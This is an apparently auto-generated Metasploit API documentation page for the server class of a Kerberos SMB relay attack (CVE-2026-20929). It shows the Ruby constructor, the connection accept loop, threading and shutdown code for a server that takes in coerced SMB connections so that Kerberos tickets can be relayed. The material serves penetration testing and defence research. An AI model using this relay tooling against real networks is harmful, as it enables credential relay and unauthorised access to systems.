Class: Msf::Exploit::Remote::SMB::Relay::Kerberos::Server

Inherits:
RubySMB::Server
  • Object
show all
Defined in:
lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb

Overview

The SMB server core for a Kerberos relay (CVE-2026-20929). The Kerberos counterpart to NTLM::Server: it accepts incoming SMB connections from coerced hosts and hands each one to a ServerClient, which captures and relays the client’s Kerberos AP-REQ.

Constant Summary collapse

SUPPORTED_SERVER_DIALECTS =

Supported server dialects. SMB 1 is allowed so it can be reported as a failure to the user, matching the NTLM relay server.

[
  RubySMB::Client::SMB1_DIALECT_SMB1_DEFAULT,

  RubySMB::Client::SMB2_DIALECT_0202,
  RubySMB::Client::SMB2_DIALECT_0210,
  RubySMB::Client::SMB2_DIALECT_0300,
  RubySMB::Client::SMB2_DIALECT_0302
].freeze

Instance Method Summary collapse

Constructor Details

#initialize(relay_timeout:, relay_targets:, listener:, thread_manager:, **kwargs) ⇒ Server

Returns a new instance of Server.

Parameters:

  • relay_timeout (Integer)

    target send/recv timeout

  • relay_targets (Msf::Exploit::Remote::Relay::TargetList)

    the relay targets

  • listener (Object)

    receives on_relay_success / on_relay_failure

  • thread_manager (Object)

    spawns per-connection threads



25
26
27
28
29
30
31
32
33
34
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb', line 25

def initialize(relay_timeout:, relay_targets:, listener:, thread_manager:, **kwargs)
  super(**kwargs)

  @dialects = SUPPORTED_SERVER_DIALECTS
  @relay_targets = relay_targets
  @relay_timeout = relay_timeout
  @listener = listener
  @thread_manager = thread_manager
  @closed = false
end

Instance Method Details

#closeObject



82
83
84
85
86
87
88
89
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb', line 82

def close
  @closed = true
  @connections.each do |connection|
    connection.thread.kill
  rescue StandardError => e
    elog('Failed to stop SMBKerberosRelayServerClient', error: e)
  end
end

#closed?Boolean

Returns:

  • (Boolean)


78
79
80
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb', line 78

def closed?
  @closed
end

#run(&block) ⇒ Object

Accept connections and service each with a Kerberos Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient. If a block is given it is called with each new server client; returning false stops the accept loop.



39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb', line 39

def run(&block)
  until closed?
    sock = @socket.accept
    return if closed?

    server_client = Msf::Exploit::Remote::SMB::Relay::Kerberos::ServerClient.new(
      self,
      RubySMB::Dispatcher::Socket.new(sock),
      relay_targets: @relay_targets,
      relay_timeout: @relay_timeout,
      listener: @listener
    )
    @connections << Connection.new(server_client, @thread_manager.spawn("SMBKerberosRelayServerClient for #{sock.peerinfo}", false, server_client) do |client|
      # Resolved before the work block so the closing log line still has it
      # even if the peer lookup or the connection itself fails.
      ip_address = begin
        ::Socket.unpack_sockaddr_in(client.getpeername).last
      rescue StandardError
        'unknown'
      end

      begin
        logger.print_status("New request from #{ip_address}")
        logger.info("Starting thread for connection from #{ip_address}")
        client.run
      rescue StandardError => e
        logger.print_error(e.message)
        # elog(exception) records only the message; passing it as error:
        # keeps the backtrace, without which a failure mid-relay is
        # untraceable from the log.
        elog("Kerberos relay server client for #{ip_address} raised", error: e)
      end
      logger.info("Ending thread for connection from #{ip_address}")
    end)

    break unless block.nil? || block.call(server_client)
  end
end